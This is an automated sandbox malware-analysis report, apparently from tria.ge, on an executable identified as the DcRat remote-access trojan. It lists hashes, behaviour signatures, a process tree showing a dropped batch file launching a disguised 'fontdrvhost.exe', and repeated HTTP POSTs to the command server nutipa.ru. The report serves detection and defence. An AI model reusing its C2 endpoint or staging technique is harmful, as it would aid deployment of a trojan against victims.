Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/12/2024, 01:51 UTC

General

  • Target

    e4a958444e72eb1b3be02f3a8bf29044a81f328405a4969a4f66515ef219774e.exe

  • Size

    3.5MB

  • MD5

    e7870cd0c30a52066c454c15a5a5a2f5

  • SHA1

    fc64203e05c104a116e7e4c354c9ee77c99737d6

  • SHA256

    e4a958444e72eb1b3be02f3a8bf29044a81f328405a4969a4f66515ef219774e

  • SHA512

    3e0a40959eaba1fbf3cb7a11707bc658421f3066e4e1beea56088ac213c10524127d4d9e2500e549a1ee608887c113973892d54fb91fae6ea9db4eb9e818bebe

  • SSDEEP

    98304:sALvAvoV3JDBQSBK5f7a6uBt9iofavIa:smvvV5DpQ7a6ugoCvI

Malware Config

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • Dcrat family
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in Program Files directory 5 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies registry class 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e4a958444e72eb1b3be02f3a8bf29044a81f328405a4969a4f66515ef219774e.exe
    "C:\Users\Admin\AppData\Local\Temp\e4a958444e72eb1b3be02f3a8bf29044a81f328405a4969a4f66515ef219774e.exe"
    1⤵
    • Checks computer location settings
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4648
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\0Um11VS1bm.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2164
      • C:\Windows\system32\chcp.com
        chcp 65001
        3⤵
          PID:1512
        • C:\Windows\system32\PING.EXE
          ping -n 10 localhost
          3⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:3004
        • C:\Program Files (x86)\Windows Photo Viewer\it-IT\fontdrvhost.exe
          "C:\Program Files (x86)\Windows Photo Viewer\it-IT\fontdrvhost.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of AdjustPrivilegeToken
          PID:724

    Network

    • flag-us
      DNS
      8.8.8.8.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      8.8.8.8.in-addr.arpa
      IN PTR
      Response
      8.8.8.8.in-addr.arpa
      IN PTR
      dnsgoogle
    • flag-us
      DNS
      217.106.137.52.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      217.106.137.52.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      172.214.232.199.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      172.214.232.199.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      4.159.190.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      4.159.190.20.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      95.221.229.192.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      95.221.229.192.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      28.118.140.52.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      28.118.140.52.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      nutipa.ru
      fontdrvhost.exe
      Remote address:
      8.8.8.8:53
      Request
      nutipa.ru
      IN A
      Response
      nutipa.ru
      IN A
      104.21.64.130
      nutipa.ru
      IN A
      172.67.185.214
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 344
      Expect: 100-continue
      Connection: Keep-Alive
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:51:42 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gqzxrXsD67I0DzFHLMqjrlwvAeAQMf2%2F9HpDqzTxYui2lew6gEI6Wd0M4AwdKWAPgEuipo%2F3o7s%2BhetUn1EikdNuKp1xMFVKq5Udnr5vxobr04EpvkgRJACbVrE%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33450448967713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=33050&min_rtt=31319&rtt_var=15207&sent=3&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=646&delivery_rate=30042&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 384
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:51:43 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WGMx4u3YsV5ZD%2Fm73IcvlzrCUEFgDNEueYta8Tc9O63Pdqbrq1MFpL2o7te%2FtTZqTnilvpnExpY086RROYE68RttrFNV3UrydMAQSPP48RhL8SDb8f433lJKlmw%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33450599787713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=33792&min_rtt=28551&rtt_var=11535&sent=9&recv=7&lost=0&retrans=0&sent_bytes=2184&recv_bytes=1308&delivery_rate=94154&cwnd=254&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:51:43 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sijAX%2F2KiLcNQsqInJcmLL%2FsixejjbQ0x4eQERfwyE7PWgf%2BhCMSnbWO9muU7u5B%2BJ5anxznC5JPnYJCYK46jffx8%2Fo0Pe9OoKxdUhD1GG0fHYiUfziteK3q94E%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3345085b2c7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=32902&min_rtt=28551&rtt_var=8094&sent=14&recv=11&lost=0&retrans=0&sent_bytes=3155&recv_bytes=3127&delivery_rate=94154&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:51:44 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lPZ7dieILvbSk4%2Bj9xeftX%2FlzeGZsikU%2Bi89xR93VApMecZj%2B5KNhq%2FO7QkfBXowm8QNPA09smTbsaK3kwh5CGQTIvyxus9L2aUDS6Ga6qW8nFnAi%2BA4fHllVGU%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33450fafce7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=35457&min_rtt=28551&rtt_var=11248&sent=18&recv=15&lost=0&retrans=0&sent_bytes=4133&recv_bytes=4946&delivery_rate=94154&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:51:45 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AHxc8wjSknuDWmDFQ%2BXNXKgSuvHQ93PHRKxXAZLxLo2QZPNucB25ywS0QZ7nlTLTAGZWT4dIqw3RaQ209pKz4OzixAcxiASvVPYISayW0FCGwC411Sowlq97%2FT0%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3345171d137713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=36658&min_rtt=28551&rtt_var=8918&sent=22&recv=19&lost=0&retrans=0&sent_bytes=5114&recv_bytes=6765&delivery_rate=94154&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:51:47 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MnZhCPmop%2B1ZZ22vex99MlXs2LZbcltgkhlfyH%2FmcqSQjvbqGnT0JDmQ7UIKE6rtUXtAvo%2BH%2FAMzNB2BL877XzFTfUbw3bUc7k7L5vXkRF%2FRT5dHzWkXF68J%2BB0%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33451e49887713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=36227&min_rtt=28551&rtt_var=7932&sent=26&recv=23&lost=0&retrans=0&sent_bytes=6086&recv_bytes=8584&delivery_rate=94154&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:51:48 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Hul4wHc6%2B9n%2F%2B1Rn1h4Nat4SG3bPITp7AY6A8XRG0KMlGc60JLm6oWp2afykE2W7maIfMK2NaJ6ZaZvqIJnpjHBMyxF8iFPpYsd5Eo60bPF%2Fwpkqs9%2F%2BEft%2FxbY%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f334525ae3a7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=35540&min_rtt=28551&rtt_var=6023&sent=30&recv=27&lost=0&retrans=0&sent_bytes=7066&recv_bytes=10403&delivery_rate=94154&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1528
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:51:49 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nAMVy3qPiliTSGS6JaoNazM26ucxnl2JtwVMcROaFqfJqQ81I8A51nFYQzjNfL0mcz1p8Xv2bJr%2BUOl0v6mJZXXWaBjP4uF56ZGSGhH8eZzQPYXr6Axwp1ZnkyM%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33452cfaeb7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=36427&min_rtt=28551&rtt_var=7922&sent=34&recv=31&lost=0&retrans=0&sent_bytes=8049&recv_bytes=12210&delivery_rate=94154&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:51:50 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M5IOFwpzDGN68j%2FgwTaOdxTB%2BlzMhiN78Dg113NuJ2%2BoQwbq8k%2B7ErKxEGsrioe2P0b09UuGMI36CbkDtZPNLkFNtfW4xpYOlUbNcsNihZESnvGL9awQcul8zMU%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3345344f727713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=47619&min_rtt=28551&rtt_var=30082&sent=39&recv=35&lost=0&retrans=0&sent_bytes=9020&recv_bytes=14029&delivery_rate=94154&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:51:52 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SCn5FmMZ5DsINBLlfjrju8ni8q5mcSmA0ujXNs%2Bpfk9c98RBpBxQVmWYZ%2BeJnkR1fJjAEJaW%2FCamVgDbfVqBN%2FmCWe12YRjosJaIvWV%2BJCp9u1r6TRW7wTEjPuY%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33453e3eaa7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=57048&min_rtt=28551&rtt_var=34704&sent=44&recv=39&lost=0&retrans=0&sent_bytes=9998&recv_bytes=15848&delivery_rate=94154&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:51:53 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uYa%2BbD1MayuzncTFSn9o4LRcUx8wyLVYFmn3cgQ%2F4kRfdOrvCY1NKwgJT0yS2K0OaJ1hHVrBarLuXJars5vXFExxllCTuRVa5UMcez0ZBy4%2F5gicw1tddou2DHY%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f334547ec5d7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=50748&min_rtt=28551&rtt_var=30513&sent=48&recv=43&lost=0&retrans=0&sent_bytes=10978&recv_bytes=17667&delivery_rate=94154&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:51:54 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JNpqd01k1ID0G%2BIPqmRJTy1QsS%2F%2FMDT%2BKNsaZ4rs1tI2VfCe9kSBmzI3X6Lw2rq9YClzjXsjYOqVwy6rdnatLYxNUI6msx7XL%2F4OhxDwAD7XB3dUdcHOJN%2FDXsg%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33454f39767713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=50556&min_rtt=28551&rtt_var=25945&sent=52&recv=47&lost=0&retrans=0&sent_bytes=11955&recv_bytes=19486&delivery_rate=94154&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:51:56 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hzqbb9Pz1kxmbnwAQmcredPrhNqSVmLREirynSFbqLUvpL6ElyQdNTd%2BJToTizPzttK3ef%2F0IZKnSx2tgTOIPGG0OVGyXSXQHAuX9M5o4jmP8KX%2FuMzl9r3sAU0%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f334556bdb97713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=45507&min_rtt=28551&rtt_var=23343&sent=56&recv=51&lost=0&retrans=0&sent_bytes=12938&recv_bytes=21305&delivery_rate=94154&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:51:57 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Gvs8UbAA1s1vcIXuC4nFg0v5J3FPgGNtm29U2g%2FWU3po4R9CXvrziNj9U2xw4PTjca1d5gBz%2BWP0pbjlLLLUTQst4ENrVp%2F%2Bd1XWfOlrIs4%2F52HbJQ8lfA7naeg%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33455dfa417713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=41758&min_rtt=28551&rtt_var=19621&sent=60&recv=55&lost=0&retrans=0&sent_bytes=13915&recv_bytes=23124&delivery_rate=94154&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:51:58 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KIC6YM2YnyDtcEFFSdYahYrlYfIa7F2%2BNuq4xiFJa5zniif89zMvmdZmHu9ECpACfKbf6vh8EUmBJi49f6pDg29C5B0Ces1BJtihM7hrT%2F4JTIrj1o7VM4bbwWc%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3345653ecf7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=38758&min_rtt=28551&rtt_var=16228&sent=64&recv=59&lost=0&retrans=0&sent_bytes=14896&recv_bytes=24943&delivery_rate=94154&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:51:59 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=661xdmWpMNjErhJcNPt2FTaN42eiP0qf6%2BX30lMR9r13Bedlw49ucP%2F28UBqSg2SN9VzwUy6XkY2eoMdMSrrXWKzqm2QMojwRCgHkHE33MtWZPIi9KleBCnWlaQ%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33456c6bae7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=36467&min_rtt=28536&rtt_var=13074&sent=68&recv=63&lost=0&retrans=0&sent_bytes=15871&recv_bytes=26762&delivery_rate=95008&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:00 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eRIKcOuO%2FHKJ%2FPNyIsHgNw1UG7bkq8zXPfBdqxxSox64QEX4WiTSsnYP4W6K%2Bu%2F8UmA7uKtFY%2BlLDnoZdqCYS%2BPOog1zKOaEWI8J4ipW%2B60bbWXRvi6JxO3qN58%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f334573affe7713-LHR
      alt-svc: h3=":443"; ma=86400
